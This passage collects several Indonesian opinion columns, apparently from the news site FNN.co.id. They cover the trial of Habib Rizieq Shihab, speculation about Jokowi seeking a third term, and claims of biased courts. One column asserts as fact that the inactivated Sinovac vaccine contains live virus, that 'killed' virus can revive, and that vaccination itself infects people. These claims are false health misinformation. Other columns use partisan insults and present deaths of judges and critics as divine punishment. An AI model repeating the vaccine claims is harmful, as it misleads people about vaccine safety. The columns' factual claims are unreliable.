lainnya seharusnya sama dan sederajat di hadapan hukum. Tetapi entah kenapa di hadapan HRS, hukum terasa begitu antagonis. Beberapa pihak menengarai, kasus HRS menjadi diskriminatif karena intervensi politik. Salah satunya Ketua Tim Pengawal Peristiwa Pembunuhan (TP3) Abdullah Hehamahua. Saat menanggapi kematian enam laskar FPI tempo hari, dia mengaitkan penembakan 6 laskar FPI bermula dari Pilkada DKI. Secara teoritik, Ahok harus menang. Tetapi nyatanya kalah. Salah satu sebabnya, menurut Hehamahua karena HRS dan 212 ikut bergerilya. Dari sanalah dia melihat persoalan bermula, yang kemudian menyebabkan HRS harus ke Saudi Arabia, hingga kembali ke Tanah Air dan menjalani proses demi proses sampai akhirnya terjadi pembunuhan di luar hukum terhadap 6 laskar FPI. Apakah relasi politik itu juga punya kaitan dengan diskrimanasi hukum HRS saat ini? Wallahu a'lam. Penulis adalah Senator DPD RI.

Cak Jancuk Mengaku Tidak Minat Tiga Periode, Temen Tah?

by Bambang Tjuk Winarno Madiun FNN - Cak Jancuk mengaku tidak berminat menjabat Presiden Republik Indonesia selama tiga periode. Alasannya Indonesia banget. Dia tetap mematuhi Undang Undang Dasar 1945 yang mengatur masa jabatan presiden selama dua periode. "Cak Jancuk" adalah gelar beradab Suroboyoan untuk Jokowi yang disematkan oleh para pendukungnya. Gelar itu diterima Jokowi saat dia menyapa para pendukungnya dalam kampanye Pilpres di kawasan Tugu Pahlawan Surabaya dua tahun silam. Seperti tertulis di banyak media, serempak kompak publik pun berteriak keras, "Jokowi Jancuk, Jokowi Jancuk, Jokowi Jancuk.....!!!". Dari atas panggung, Jokowi yang mendengar langsung melebarkan bibirnya, yang dalam bahasa jawa disebut mringis (tersenyum) sambil me_nyungir_kan hidungnya. Namun tidak ada yang tahu, apa arti mringisnya Jokowi. Yang jelas, Ernawan selaku pimpinan deklarasi dukungan menjelaskan, gelar tersebut bukan umpatan. Melainkan singkatan tertentu yang mengandung arti positif. Penghormatan kepada Jokowi. Mengenai ramainya rumor kalau Jokowi akan berupaya menjabat presiden tiga periode, telah dibantah Jokowi sendiri. "Saya tegaskan, Saya tidak ada niat. Tidak berminat juga menjadi presiden tiga periode. Konstitusi mengamanatkan dua periode. Itu yang harus kita jaga bersama sama," kata Jokowi dikutip CNN Indonesia, Senin (15/03). Tetapi harap diingat. Itu kata Jokowi saat ini. Bukan untuk dua atau tiga tahun mendatang. Memang bisa saja lidah tak bertulang. Tak terbatas kata kata semata. “Tinggi gunung, seribu janji. Lain di bibir, lain di hati”, urai Bob Tutupoly dalam syair lagu lawas "Tinggi Gunung Seribu Janji". Nah, kemudian manakala Arek Suroboyo bertanya kepada Cak Jancuk dengan dialek Suroboyoan, boleh ya? Misalnya begini tanyanya, “Temen tah, Cak Jancuk omonganmu gak gelem njabat maneh? Lek sampek mbujuk, koen tak gantung nang Tugu Pahlawan yak opo? Curiga atau tidak percaya kepada manusia itu boleh-boleh saja. Lebih-lebih bila sang manusia tersebut sudah terbukti bolak-balik bohong. Itulah juga karena sifat manusianya. Pastinya dia bukanlah malaikat yang selalu dan tetap konsisten. Lupakah ucapan Anas Urbaningrum, mantan Ketum Partai Demokrat (PD) waktu itu dalam menepis dugaan korupsi atas dirinya? Dia mengaku, serupiah pun tidak dikorupsi. Jika terbukti korupsi, maka Anas sanggup untuk digantung di pucuk Tugu Monas. Berulang-ulang sosoknya tayang di layar televisi, menampilkan propaganda anti korupsi. "Katakan Tidak Pada Korupsi". Begitu bunyi iklannya di berbagai televisi nasional. Bagaimana kenyataannya? Tidak lama setelah iklan itu, Anas dibui terkait kasus korupsi. Itu bukti bahwa kata hati tak sama dengan kata mulut. Satu lagi bukti inkonsisten seseorang, yang dalam bahasa jawa disebut mbujuki. Bahkan masih gres. Moeldoko mengaku cuma ngobrol sambil ngopi biasa dengan beberapa kader dan pecatan Partai Demokrat. Bukan rembugan mengenai politik. Itu ditegaskan Moeldoko untuk menolak tudingan rencana kudeta Moledoko atas Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY). Kenyataannya, Moeldoko dimungkinkan bersekongkol dengan beberapa orang pecatan Partai Demokrat. Lalu menggelar Kongres Luar Biasa (KLB) di Sibolangit Deli Serdang, Sumatera Utara. Moeldoko pun keluar sebagai pemenang. Sebagai Ketum PD Palsu. Jika Moeldoko berat dibilang berbohong. Tetapi mengapa harus membuat pernyataan berbeda dari kenyataan yang dia lakukan. Mestinya, kalau mau KLB ya bilang saja akan menggelar KLB. Bukan ngobrol sambil ngopi. Kan mbulet namanya. Dalam logika main bola, Moeldoko adalah orang yang tercatat sebagai pemain saja tidak. Apalagi duduk di bangku cadangan, lebih tidak lagi. La kok mbedudug dinobatkan sebagai juara pertama. Sikembar gundul Upin-Ipin pun lantas tertawa kekeh-kekeh. Lepas dari misalnya, Kemenkumham nantinya mensahkan kepengurusan Moeldoko sebagai Ketum Partai Demokrat. Namun pengakuan Moeldoko hanya ngobrol dan ngopi, tanpa embel-embel politik pada pertemuan sebelumnya, bisa disebut bohong. Beberapa hari usai acara KLB Deli Serdang, Jhoni Allen, dokter hewan pecatan Partai Demokrat yang juga bekas pegawai Kebun Binatang Ragunan, mengaku telah mendaftarkan hasil KLB nya ke Kemenkumham. Dia yakin berkas laporan hasil KLB akan diterima dan disahkankan. Mengapa harus pakai kata “yakin” bahwa hasil KLB akan diterima dan disahkan Kemenkumham, setelah didaftarkan beberapa waktu lalu. Jika memang merasa benar dan tidak bersalah, tidak perlu harus yakin atau tidak yakin. Mau mendaftar, ya mendaftar gitu saja. Misalnya jika dalam keadaan normal, A pergi ke rumah B untuk mengambil mobil miliknya yang dipinjam B. Dalam perjalanan ke rumah B, si A tidak perlu punya pikiran “yakin” bisa mengambil mobilnya. Wong mau mengambil mobilnya sendiri kok pakai “yakin”? Tentu saja perasaan atau psikologis A dalam kondisi safe. Karena A adalah pihak pemilik mobil. Sehingga situasi kejiwaannya dirasakan seakan akan masuk ke domain “pasti” bisa mengambil mobilnya. Kata “pasti” disini bukan dimaksudkan sebagai bentuk melawan kehendak Allah Subhanahu Wa ta'ala, melainkan sekedar sebagai penegas batas psikologis antara jujur dan bohong. Pada jaman dulu. Katakanlah periode kepemimpinan Pak Harto. Sifat pembohong, kurang ajar, tidak punya malu, amoral dan perilaku buruk lainnya itu cuma dimiliki kelompok tidak terdidik. Atau preman, yang dalam bahasa kasarnya katakanlah maaf “bajingan”. Sehingga waktu itu, pengenalan sosialnya di tengah bermasyarakat antara mana yang bajingan dengan yang terpelajar, itu menjadi jelas dan nyata. Sekarang telah terjadi kekaburan. Hal itu bukan saja akibat dari terjadinya dekadensi moral. Melainkan akibat dari terjadinya multi kemerosotan sosial. Semua luntur, sehingga sulit membedakan antara manusia dan hewan. Wujudnya saja mungkin yang tidak sama. Namun, moral, akhlak, budi pekerti, tindak tanduk, perilaku, adat, adab serta berbagai norma dan nilai nilai cerminan Indonesia telah tiada. Nyaris semua lini kehidupan rancu. Terlebih bagi pihak yang bernalar pas-pasan. Mereka pasti kebingungan menilai dan membedakan. Misalnya, Amien Rais itu lurus atau bengkok? Habieb Rizieq Shihab (HRS)itu bajingan atau justru sosok yang mati-matian mempertahankan NKRI? Mayjend TNI (Purn) Kivlan Zein itu tokoh PKI atau penumpas PKI? Sebaliknya ,dua orang saja lagi seperti Harun Masiku dan Djoko Tjandra itu bajingan ataukah sosok pahlawan yang selalu menyerahkan jiwa raganya demi kemajuan bangsa dan negara Indonesia? Bagi para gobloger akan merasa kesulitan membedakan hal tersebut. Bila dimisalkan ke dunia medis, mereka dalam kondisi disleksia, gangguan intelegensia. Gagal paham. Salah satu penampakan gangguan kesehatan tersebut, adalah sulit membedakan sisi kiri dan kanan. Orang macam ini biasanya keliru mengenakan sepatu sisi kiri di kaki kanannya. Namun bagi para cerdaser yang otaknya waras-wiris gangguan itu tidak berlaku. Mereka selalu jernih melihat. Mana yang kiri, mana kanan? Mana yang bajingan, mana pahlawan? Laksana memandang awan putih di langit biru. Jelas dilihatnya sebagai gumpalan awan putih yang mengambang diantara langit biru. Kebingungan dan kejenuhan publik akibat munculnya bermacam persoalan yang nyaris tak berkesudahan, mengakibatkan sikap apatis dan apriori. Disaat seperti itulah publik mulai berada pada kondisi post truth, kesulitan membedakan antara baik dengan buruk, benar dengan salah. Malah bisa-bisa bertukar tempat. Yang salah dibilang benar. Yang buruk dikatakan baik. Itu akibat tumpukan demi tumpukan kebohongan yang diolah sebegitu rupa, sehingga menghasilkan wujud yang seolah olah sebuah kebenaran. Jika dilakukan secara kontinyu, muncullah logical fallacies di tengah masyarakat. Akhirnya rakyat diajak berpikir, kesalahan itu logis. Misalnya kelak Cak Jancuk jebulnya mencalonkan kembali di periode ke tiga, tentu dengan perubahan UUD 1945, yang tidak sesuai dengan janjinya saat ini, maka itu menjadi logis. Pembaca FNN.co.id budiman. Dimana pun saudara tinggal, kita berharap bukan saja segera mendapat vaksin Covid-19 yang benar benar mujarab. Melainkan, tak kalah penting, juga selekasnya menemukan vaksin untuk mengobati kedunguan. Penulis adalah Wartawan FNN.co.id.

Faktanya, Virus yang Sudah “Mati” Ternyata Bisa “Hidup” Kembali

by Mochamad Toha Surabaya, FNN - Hongkong mencatat kasus pertama paralisa otot wajah setelah vaksinasi Covid-19. Seorang pria berusia 69 tahun dengan riwayat hipertensi dilaporkan mengalami paralisa wajah (gejala Bell’s palsy) 2 jam setelah divaksinasi (pertama) dengan Sinovac pada 6 Maret 2021. Yang pertama kali dirasakan adalah rasa tidak nyaman di mata kiri, dan tidak bisa menutup sempurna segera setelah vaksinasi. Keesokan harinya ngences (drooling) dari mulut sebelah kiri, dan segera pergi ke rumah sakit. Sehari kemudian dia sudah boleh keluar dari rumah sakit. Tidak ada penjelasan lebih lanjut tentang kondisinya. Bell’s palsy umumnya bersifat temporer, dan akan membaik dengan sendirinya dalam waktu beberapa minggu atau bulan. Bell’s palsy Bisa Dipicu oleh infeksi ulang oleh virus yang dormant (tidur) kemudian aktif kembali. Kasus ini segera dilaporkan sebagai reaksi yang tak diharapkan (adverse reaction), meskipun belum tentu ada kaitan langsung. Hal tersebut diungkapkan Arie Karimah, Pharma-Excellent, Alumni ITB. Perihal jumlah laporan reaksi yang tidak diharapkan dalam insiden di Hong Kong ini termasuk rendah: 7,6 laporan per 10.000 dosis. Sementara di negara lain: Inggris 39,9; Singapura 38,2; Australia 23,4. Indonesia? KIPI? Kejadian Ikutan Paska Imunisasi. Namun perlu diingat bahwa di setiap negara program vaksinasi dan kriteria pelaporannya bisa bervariasi, sehingga angka-angka di atas tidak bisa begitu saja diperbandingkan. Hongkong memulai vaksinasi massal pada akhir Februari dan telah ada 93.000 dosis vaksin yang disuntikkan, dengan rincian: 91.818 dosis Sinovac dan 1.207 dosis Pfizer. Dan mencatat 69 jenis reaksi yang tidak diharapkan, diantaranya 30 pria dan 17 wanita usia 30 – 90 tahun, yang terpaksa dikirim ke rumah sakit karena mengeluhkan/mengalami fatigue, pusing dan bahkan stroke. Pada kasus stroke, seorang pria usia 74 tahun dengan riwayat diabetes dan hipertensi, 6 hari setelah divaksinasi dia mengalami kelemahan otot pada sisi tubuh sebelah kiri dan sulit berbicara (slurred speech). Kasus stroke ini juga ditemukan di Garut. Adapun kematian setelah vaksinasi itu tercatat 4 orang: Seorang pria, 63 tahun, dan wanita 55 tahun, keduanya menderita penyakit kronis; Seorang pria, 71 tahun, tanpa catatan penyakit kronis, dan seorang wanita, 70, dengan riwayat hipertensi dan radang sendi osteoarthritis. Wanita itu meninggal 9 hari setelah mendapat vaksinasi. Catatan Arie Karimah itu ditulis dalam akun Facebook-nya pada Sabtu, 20 Maret 2021. Ada yang menarik perhatian dalam tulisan tersebut. Yakni, terkait Bell’s palsy yang bisa dipicu oleh infeksi ulang oleh virus yang dormant (tidur) kemudian aktif kembali. Dalam tulisan-tulisan sebelumnya, saya sering menulis bahwa virus yang “dilemahkan atau dimatikan” itu bisa bangun kembali pada suatu suhu tertentu. Sebab, di antara yang mati itu dapat dipastikan masih ada yang pura-pura “tidur atau mati”. Vaksin Sinovac dibuat dengan salah satu teknologi yang paling kuno, yang sudah digunakan sejak 100 tahun yang lalu. Yaitu menggunakan virus Covid-19 yang telah “dinonaktifkan” atau “dimatikan”. Berarti benar: mengandung virus hidup yang dilemahkan. Sinovac mengumpulkan sampel cairan tubuh yang mengandung virus dari pasien di China, Inggris, Italia, Spanyol, dan Swiss. Sampel virus dari China sendiri digunakan sebagai dasar vaksin. Dari sini nanti juga bisa menjawab: Mengapa dengan menggunakan teknologi yang sama bisa menghasilkan efikasi vaksin yang berbeda? Mengapa diperlukan uji klinis internasional untuk mengukur efikasi yang lebih baik, karena produknya kelak juga akan dipasarkan ke berbagai negara? Para peneliti di Sinovac memiliki kultur virus dalam jumlah besar di sel-sel ginjal monyet, yang mereka pilih sebagai hewan percobaan. Virus tersebut kemudian dibunuh dengan zat kimia beta-propiolactone, yang akan berikatan dengan gen-gen virus. Akibatnya virus tidak bisa lagi melakukan replikasi (membelah diri, beranak-pinak). Namun spike proteinnya yang menonjol di bagian luar virus tetap utuh. Virus tersebut kemudian “diekstraksi” dan dicampur dengan adjuvant, yaitu senyawa berbasis alumunium. Fungsi adjuvant dalam proses vaksinasi adalah untuk merangsang sistem imun di tubuh kita merespon terhadap vaksin yang disuntikkan. Karena virusnya “sudah mati”, maka penyuntikan vaksin tidak akan menyebabkan seseorang terinfeksi virus Covid-19. Tapi, ternyata faktanya di Hongkong dan di Indonesia, tidak sedikit yang terinfeksi Covid-19 setelah divaksin Sinovac. Setelah berada di dalam tubuh kita virus tersebut akan dimakan (difagositosis) oleh salah satu jenis sel immune yang bernama sel T, yang memiliki bagian yang disebut dengan “antigen-presenting cell”. Antigen-presenting cell ini akan melumatkan virus dan menyisakan sebagian fragmennya di permukaan tubuhnya. Nantinya sel immune yang lain, yaitu Helper T cell akan mengenali fragmen tersebut. Jika fragmen tersebut cocok dengan protein yang ada di permukaan Helper T cell, maka sel-sel T akan diaktifkan, dan mengundang sel-sel immune yang lain untuk merespon terhadap vaksin. Sel immune lainnya yang bernama sel B juga akan menemukan fragmen protein virus. Sel B memiliki protein di permukaan tubuhnya dengan berbagai bentuk, yang beberapa diantaranya mungkin akan cocok untuk berikatan dengan fragmen protein virus Covid-19. Jika sudah berikatan, sel B akan menarik sebagian atau keseluruhan fragmen ini ke dalam tubuhnya, kemudian mulai memproduksi antibodi yang cocok dengan bentuk permukaan virus. Produksi antibodi setelah vaksinasi ini belum diketahui akan berlangsung selama berapa bulan. Itu sebabnya kelak jika diajukan permohonan izin edar, bukan EUA (Emergency Use of Authorization), monitoring titer antibodi dan kemampuan mencegah terinfeksi utu akan berlangsung selama 2-4 tahun, bukan sekedar 3-6 bulan. Setelah divaksinasi sistem imun akan merespon jika kelak terjadi infeksi oleh virus Covid-19 yang hidup. Sel-sel B akan segera mengenali virus Covid-19 dan menghasilkan antibodi yang akan berikatan/menetralkan virus melalui spike proteinnya, sehingga virus tidak bisa memasuki sel-sel tubuh kita. Meskipun dalam waktu beberapa bulan tetelah vaksinasi titer antibodi akan berkurang, tapi tubuh kita memiliki memori B cells, yang akan mengingat bentuk virus Covid-19 hingga bertahun-tahun, bahkan berpuluh tahun kemudian. Jika suatu hari kelak virus Covid-19 mencoba menginfeksi, maka sel-sel B akan segera memproduksi antibodinya untuk mencegah infeksi. Tapi, faktanya virus Covid-19 masih tetap saja bisa menginfeksi seseorang yang divaksin. Berarti, kecepatan Covid-19 tidak bisa diimbangi oleh sel-sel B yang memproduksi antibodi manusia yang sudah divaksin. Bukan tidak mungkin, proses infeksi Covid-19 dalam vaksin itu terjadi beberapa minggu, bulan, atau tahun kemudian. Bahkan, ada yang terjadi dalam hitungan hari seperti yang menimpa Dokter JF di Palembang dan beberapa nakes lainnya di Indonesia yang terinfeksi Covid-19 setelah divaksin. Teranyar adalah yang menimpa dr. Heru Dwiantoro W, SpOG (K) di RSUD Sidoarjo. Meski sudah divaksin, Dokter Heru meninggal karena terinfeksi Covid-19, Sabtu (20/3/2021). Penulis adalah Wartawan Senior FNN.co.id

Mereka Pelantang Rezim, Bukan Penegak Hukum

SULIT mendapatkan keadilan pada model sidang seperti di Pengadilan Negeri Jakarta Timur, Jumat (19/03/202) lalu. Sidang yang seharusnya aman dan tertib justru menjadi ajang teriakan para penegak hukum kepada satu orang terdakwa bernama Habib Rizieq Syihab (HRS). Sontak, medsos melampiaslan kegeramannya pada proses peradilan yang dianggap sesat. Masyarakat menghardik kelakuan polisi, jaksa, dan hakim yang memamerkan arogansi kepada hanya satu terdakwa saja. Mereka menampakkan diri sebagai wakil rezim semata, bukan menjadi aparat negara yang diberi amanah menjaga marwah peradilan yang adil, fair, dan bermartabat. Mereka para pelantang rezim, bukan penegak hukum. Di luar gedung pengadilan, pengacara HRS dibendung oleh barisan polisi yang rapat dan membisu. Onggokan manusia-manusia kekar berwarna coklat begitu istikomah dalam diam. Bagai patung mereka disetel untuk tidak bicara sepatah kata pun. Mereka membisu dan membatu. Padahal pengacara HRS mempertanyakan alasan apa polisi menghalangi-halangi penasihat hukum yang ingin memantau jalannya persidangan. Mereka adalah pengacara sah yang dilindungi oleh undang-undang. Sementara di ruang Bareskrim Polri tempat di mana HRS dihadirkan secara daring mendapat perlakuan yang tidak senonoh. Ia didorong dan dipaksa untuk duduk di kursi pesakitan oleh petugas berbaju kotak-kotak warna hitam. Ketidaksenonohan itu tampak di channel FNN TV, di mana HRS diperlakukan dengan kasar dan tak beradab. Bersamaan dengan itu, dari gedung PN Jaktim dalam sidang online yang dipaksakan, seorang jaksa perempuan menggunakan pelantang yang keras selalu memotong pernyataan HRS yang ingin menjelaskan dalil hukum alasan penolakan sidang melalui daring. HRS mengatakan,”Saya punya hak untuk hadir di ruang sidang. Saya bukan tidak mau hadir…” Belum sempat melanjutkan pernyataannya, langsung dipotong dengan kasar oleh jaksa wanita itu, "Mohon ijin majelis, karena kita masih sesuai dengan penetapan No. 221 di mana persidangan dilakukan secara online, kami mohon untuk agenda sidang ini tetap dilanjutkan untuk membacakan dakwaan.” Lalu HRS kembali menjelaskan bahwa ia bukan menolak hadir di persidangan. “Saya siap hadiri sidang kapan pun, tapi sidang offline. Saya tidak mau menghadiri sidang online, karena saya dilindungi UU. Ada KUHAP pasal 154 bahwa saya harus dihadirkan di ruang sidang. Kedua kalau alasanya Perma, di dalam Perma ada dua pilihan, bisa offline, bisa online. Dan saya tidak mau online. Lagi pula Perma posisinya ada di bawah UU. Pada sidang yang pertama, semua bisa hadir di ruang sidang dengan protokol kesehatan.” Lagi-lagi jaksa perempuan kembali memotong pembicaran dengan arogan, jumawa, dan ketus mengatakan, "Mohon ijin majelis kami rasa kita tidak perlu mendengarkan keterangan dari terdakwa. Kami mohon sidang tetap dilanjutkan. Sidang yang terhormat ini tanpa mendengarkan omongan dari terdakwa." Jaksa wanita itu tampaknya pikirannya sudah dirasuki virus kebencian. Bagaimana mungkin seorang terdakwa tidak boleh berargumen di ruang sidang? Jaksa itu lupa bahwa saat itu adalah suasana sidang yang terhormat, bukan sidang jalanan, bukan orasi pelaku demonstrasi, bukan mimbar bebas, dan bukan aksi teatrikal. Proses hukum yang diamanatkan untuk menyelesaikan segala persoalan dengan kepala dingin, tak dihargai oleh para penegak hukum itu sendiri. Polisi, jaksa, dan hakim koor manyanyikan lagu yang sama mengobok-obok hati dan perasaan HRS agar emosinya terpancing. Mereka seenaknya melaksanakan sidang, mereka semaunya melecehkan terdakwa. Nyatanya yang emosi bukan HRS, tetapi masyarakat luas yang masih punya nurani, harga diri, dan iman. Mereka melampiaskan kekesalan dan kekecewaannya melalui media sosial. Profil jaksa dan hakim dibedah. Mereka menghardik proses peradilan yang sangat tidak pantas. Jauh dari teladan baik. Proses peradilan yang seharusnya dijunjung tinggi oleh para penegak hukum, justru direbahkan begitu rendah. Proses peradilan yang seharusnya menggunakan otak, pikiran, dan argumen yang tepat, malah dihadapi dengan kekuatan fisik yang penuh intrik. Tak ada kearifan, apalagi kebijaksanaan. Yang tampak hanyalah kebencian yang terus membuncah. Siapapun tak kuasa melawan peradilan sesat seperti ini. HRS hanya didakwa bersalah melakukan kerumunan. Ia harus bertanggung jawab atas kerumunan yang terjadi di acara pernikahan di Petamburan, Maulid Nabi di Tebet, dan sholat Jumat di Megamendung. Hal mana, hari ini hampir semua orang melakukan kerumunan serupa. Lihat saja di pasar, di terminal, di mal, di hotel, di balai-balai pertemuan, tempat ibadah, bahkan Presiden sendiri mengundang kerumunan di NTT. Toh mereka tidak disidik dan dibenci oleh polisi, jaksa, dan hakim. Belakangan, pasca-ketiga acara HRS ternyata tidak meninggalkan jejak kasus Covid19 yang berarti. Hanya ada 23 kasus positif, tetapi tidak tahu sampel dari mana. Panitia pernikahan tidak ada yang positif, panitia maulid tidak ada yang demam dan sesak nafas, dan peserta sholat Jumat di Megamendung tidak ada yang mati. Ketiga acara itu dilaksanakan di ruang terbuka yang memungkinkan penularan virus Corona menjadi sulit. Di Petamburan HRS sudah taat membayar denda. Di Megamendung, sholat dilakukan di Pondok Pesantren yang luas. Arealnya mencapai 30 HA, di atas bukit yang sejuk dan terbuka. Pasca sholat Jumat juga tidak ada yang mati. Ada 6 laskar FPI yang sengaja dimatikan oleh polisi di KM 50 Tol Jakarta-Cikampek. Inilah tumbal yang mahal harganya yang harus dipersembahkan oleh HRS. Meski demikian, 6 nyawa sebagai tumbal itu tampaknya belum bisa memuaskan rezim. Libido kekuasaannya terus ON sampai orgasme dengan cara memburu HRS sampai lumpuh dan tuntas. Tak perlu butuh waktu lama untuk mewujudkan hajat itu. Kurang dari sebulan ritual tumbal 6 nyawa anak muda tak berdosa, Pondok Pesantren Markaz Syariah dibekukan, santrinya dipulangkan, organisasinya dibubarkan, rekening diblokir, keluarga dan orang dekat HRS dipenjara. Sungguh biadab rezim ini. Kini proses pengadilan untuk para terdakwa sedang dimulai dengan cara dipaksakan, karena dalam kasus yang sama, di luar HRS, tidak ada satu pun yang diproses ke pengadilan. Proses penzoliman terhadap HRS dilakukan secara berjilid-jilid. Tak hanya polisi, jaksa, dan hakim, kini Komisi Yudisial (KY) juga ambil peran. Mukti Fajar Nur Dewata, Ketua KY mengatakan akan mengambil beberapa langkah hukum terhadap Imam Besar Front Pembela Islam (FPI) Habib Rizieq Shihab karena dianggap telah merendahkan kehormatan dan keluhuran martabat hakim. Ingat. HRS bukan ISIS, bukan pemberontak bersenjata, bukan penilep APBN, bukan penggerogot subsidi rakyat, bukan koruptor, bukan pemburu rente impor, bukan makelar kasus, bukan begal partai, bukan produsen narkoba, bukan penyeleweng dana desa, bukan penggarong dana bansos, bukan pemicu kemiskinan di Indonesia. Ia cuma melanggar kerumunan di musim pandemi dan atas perbuatan itu ia sudah membayar denda. Ada jutaan manusia melakukan pelanggaran kerumunan, mengapa HRS diperlakukan dengan sangat tidak manusiawi? Sampai kapan umat akan dijejali tontonan sadis seperti itu. Sampai kapan kita dipaksa menyaksikan cucu Nabi Muhammad dilecehkan dan direndahkan? Para pelantang rezim, teruslah berulah dan beraksi, tetapi ingat, ada deadline. Jangankan cucu Rasulullah yang memohonkan pembalasan dan laknat Allah atas polisi, jaksa, dan hakim yang menzaliminya. Doa orang biasa saja bisa diijabah. Sekadar mengingatkan, dulu ada cerita yang patut dikenang. Ketika Amrozi dan Imam Samudra cs divonis mati pada tahun 2003, mereka tidak terima karena menganggap banyak bukti yang direkayasa. Salah satu dari mereka berujar setelah vonis dibacakan di persidangan, "Sebelum saya dihukum mati maka bapak hakim duluan yang akan mati." Dan benar. Matilah Ketua Majelis Hakim Made Karna Parna pada tahun 2007, jauh lebih awal dari waktu eksekusi mati Amrozi cs. Begitu juga dengan nasib Urip Tri Gunawan, jaksa penuntut Amrozi. Ketika jaksa Urip akan memberikan sepatu baru agar terdakwa dapat tampil wajar saat hadir di persidangan, terdakwa mengatakan, "Saya tidak mau dibelikan sepatu dari hasil korupsi." Apa yang terjadi? Pada tahun 2008, jaksa Urip Tri Gunawan yang sangat populer itu, ditangkap atas kasus korupsi. Dia kedapatan menerima suap dalam kasus BLBI dan diganjar hukum 20 tahun penjara. Ada juga orang sepanjang hidupnya benci terhadap Islam. Ia adalah Musakkir Sarira, Ketua DPRD Kolaka Utara, Sulawesi Tenggara tewas ditikam istrinya sendiri, pada 2017. Semasa hidup ia sangat aktif membenci umat Islam di media sosial. Yang ini lebih miris lagi. Seorang warga keturunan bernama Kiky Wilisata tewas karena kecelakaan saat mengendarai mobilnya di Jakarta Barat tahun 2017. Semasa hidup, Kiky sering menghina ulama di akun facebooknya. Ia juga mengolok-olok kalimat Takbir dan memplesetkannya menjadi "Take Beer". Dua bulan setelah pelecehan tersebut, ia tewas mengenaskan dalam mobil yang ia kendarai sendiri. Mobilnya jatuh ke Kali Sekretaris, Jakarta Barat yang airnya keruh kecoklatan, mirip warna minuman beralkohol, bir hitam.

Peradilan Sesat Kasus Habib Rizieq

by M. Rizal Fadillah Bandung FNN - Proses peradilan Habib Rizieq Shihab (HRS) menjadi menarik akibat dijalankan dalam situasi yang tidak normal. Persidangan yaitu dilaksanakan secara online. Terdakwa tidak hadir di ruang persidangan. Cara ini meski bukan hanya berlaku untuk HRS tetapi "kena batunya" di saat peradilan untuk HRS di Pengadilan Negeri Jakarta Timur. Baru dalam sejarah pelaksanaan peradilan online berdasarkan pada Peraturan Mahkamah Agung (Perma) Nomor 4 Tahun 2020 ini mendapat perlawanan sengit dari terdakwa HRS. Istilah peradilan sesat bukannya diksi baru. Tetapi menjadi populer di kancah hukum yang intinya adalah terjadi kesalahan dalam vonis maupun proses peradilan. Kesalahan yang membahayakan atau merugikan seorang terdakwa. Peradilan sesat atau rechterlijke dwaling atau miscarriage of justice harusnya dicegah atau ditiadakan. Karena peradilan sesat akan menggagalkan maksud dan tujuan peradilan tersebut, yang menurut Gustav Radburg disamping untuk kepastian juga keadilan dan manfaat hukum. Kasus yang menimpa HRS yang diadili di Pengadilan Negeri Jakarta Timur ini dipastikan akan menjadi peradilan sesat. Fenomenanya sudah mulai terasa sejak awal-awal proses penyidikan di Polda Metro Jaya. Begitu juga dengan perilaku pemaksaan oleh pihak Penuntut Umum. Kejadian ini mengingatkan kembali bahwa dahulu ada pandangan Komite KUHAP. Komite yang yang menyatakan bahwa tindakan aparat penegak hukum, khususnya penyidik dan penuntut umum itu sangat minim pengawasan. Itu karena diskresi yang dipunyai penyidik dan penuntut umum memang terlalu besar. Beberapa faktor yang mengindikasikan bahwa kasus HRS ini menjadi indikasi peradilan nyata sesat. Pertama, meski tuduhan pelanggaran adalah pidana biasa berkaitan dengan UU Kekarantinaan Kesehatan maupun aturan KUHP, akan tetapi masyarakat sangat memahami bahwa HRS ini diseret ke ruang pengadilan atas peristiwa politik. Sangat kental dengan nuansa bertarget penghukuman politik. Domein kekuasaan yang masuk di dalam ruang pengadilan, sangat potensial untuk menjadikan ruang itu sebagai peradilan sesat. Kedua, kasus HRS merupakan kasus yang dipaksakan. Perkara atas peristiwa kecil yang digelembungkan untuk menjadi besar. Soal pernikahan, pengajian, dan test SWAB bukan hal yang istimewa. Namun faktanya dapat menjadi jalan bagi pemaksaan kehendak. Jaksa maupun Hakim berat untuk mampu menegakkan hukum secara independen. Ada potensi pemaksaan, penyanderaan, pengancaman jabatan, mungkin juga iming-iming. Ketiga, peradilan online yang sangat tidak adil dengan dalih pandemi. Untuk kasus dan terdakwa lain dapat dilakukan peradilan offline. Namun tidak untuk HRS. Sekedar dapat hadir saja di depan sidang pengadilan sebagai hak seorang terdakwa membutuhkan perjuangan keras. Itupun tidak bisa. Ditambah dengan para Pengacara yang tidak dapat memasuki ruang sidang. Menurut pakar hukum, Jaksa dan Hakim yang seperti ini sebenarnya dapat diadukan ke Mahkamah Agung. Dalam peradilan sesat yang tidak sehat seperti ini, sudah dipastikan tujuan hukum melalui proses peradilan tak akan tercapai. Mencegah masyarakat menjadi korban, apa yang mesti dicegah? Masyarakat yang puas atas tegaknya keadilan, faktanya masyarakat kecewa atas ketidakadilan. Lalu agar pelaku tidak mengulangi kejahatan, nah apa yang jahat dari walimahan, pengajian, serta test SWAB? Masyarakat disuguhi pertunjukan hukum di panggung suka-suka dan penindasan. Pengadilan yang bukan untuk mengadili, tetapi sarana untuk melegalisasi hukuman politik yang jauh sebelumnya telah ditetapkan. Peradilan sesat yang akan menjadi sorotan dan cemohan masyarakat dunia. Menjadi bahan tertawaan sejarah hukum. Di negeri yang tidak merdeka, negeri yang dijajah oleh bangsanya sendiri. Penulis adalah Pemerhati Politik dan Kebangsaan.

Hakim Itu Kuncinya Keadilan

by Dr. Margarito Kamis SH. M.Hum. Ternate FNN - Ketika hakim bermurah hati, berkordinasi atau menanti salam manis dari kaki tangan penguasa, maka kemanusiaan pasti melayang. Kala kemanusiaan melayang, keadilan menjadi urusan suka dan tidak suka, senang dan benci. Tidak lebih dari itu. Manakala suka dan tidak suka, benci dan rindu, berpadu memandu hakim, maka peradilan menjadi proses penyesatan hukumm paling ampuh. Begitu hukum tersesatkan di pengadilan, maka keadilan tidak lebih dari sekadar alat pemuas nafsu penguasa ekonomi dan politik, siapapun mereka. Pengadilan tidak lagi bisa menjadi benteng keadilan untuk pencari keadilan. Pengadilan berubah jadi legitimator penguasa atas kebijakan-kebijakan yang hanya menyengsarakan rakyat. Pahami & Jiwai Keadilan Mengapa semua peradaban memuliakan keadilan dan pengadilan? Bagaimana peradaban-peradaban itu menemukan “inspirasi” keadilan? Akal budi manusiakah yang menginspirasi keadilan? Dari mana akal budi manusia memperoleh rangsangan tentang keadilan itu? Keadilan tidak terpaku pada hal yang statis. Keadilan juga tidak selalu terhubung dengan hal yang berubah-ubah, dinamis. Panas matahari yang terus-terusan, 